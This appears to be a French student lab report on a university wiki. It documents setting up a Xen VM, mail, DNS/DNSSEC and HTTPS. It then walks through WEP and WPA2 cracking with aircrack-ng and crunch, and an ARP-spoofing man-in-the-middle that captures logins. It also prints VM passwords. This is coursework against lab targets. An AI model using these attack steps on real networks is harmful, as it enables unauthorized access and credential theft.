vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la réception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les message reçu en tapant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on reçoit bien les message en provenance du mail de Polytech.<br />
Pour que Gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoin de pouvoir recevoir les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commande <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différant care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyé le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de Gandi on reçoit un code de confirmation ainsi qu'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers Gandi a téléchargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionne pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
====Modification de la page d'accueille Apashe2====<br />
<br />
Pour éviter d'avoir la page de base Apash2, on va modifier le fichier 'index.html' pour cela il suffit d'éditer le fichier avec vim avec la commande <code>vim /var/www/html/index.html</code>.<br />
<br />
Le site : https://www.w3schools.com/html/html_examples.asp explique comment faire sa propre page web.<br />
la page pour le site 'glopglop.site' ne sert que d'exemple si on veux une page plus élaborer des template sont directement disponible sur le net avec en prime les fichiers css pour obtenir un site vraiment attractif. mais on cherche juste pour le moment a avoir une page différente de test.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54017TP sysres IMA2a5 2020/2021 G52020-11-27T17:18:28Z<p>Aglaine : /* Configuration gandi.net */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168/26<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on ajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une passerelle doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interface avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comme ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
L'architecture du réseau est la suivante : <br />
[[Fichier:Architecture2-MA2a5-2020_2021.JPG|1000px|thumb|left|Architecture du réseau]]<br />
<br style="clear: both;" \><br />
<br />
Le problème est que si on regarde le réseau n'est pas vraiment redondant : <br />
<br />
- Si on a une coupure de courant tout le réseau s'effondrent, dans l'idéale, il faudrait des onduleurs et un réseau électrique séparé pour la Baie1 et la Baie2/3<br />
<br />
- Le réseau ADSL n'est pas fonctionnelle donc si on perd le réseau Polytech on n'as plus accès aux machines.<br />
<br />
- Toutes les VM et les sites WEB sont sur la baie3 qui héberge le serveur de virtualisation Capbreton, si on perd la baie3 tout le système tombe.<br />
<br />
- Pour finir dans l'idéale les deux bais devrais être dans des bâtiments séparer en cas d'incendie, on risque de perdre les deux bais.<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
Grace aux efforts de monsieur Xavier Redon pour permettre de joindre Capbreton a distance pendant le confinement avec la commande 'SSH'.<br />
<br />
On peux donc maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. <br />
<br />
Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
<br />
Glue records fournis par Gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié notre DNS a une ip, il faut renseigner les serveur de non. cela prend 27/72h.<br />
<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. <br />
<br />
Si ce n'est pas le cas Gandi ne pourras pas liée les DNS a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveurs DNS configurer on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon notre système de clef ne fonctionnera pas.<br />
pour commencer, on crée un répertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les renommer pour plus de transparence.<br />
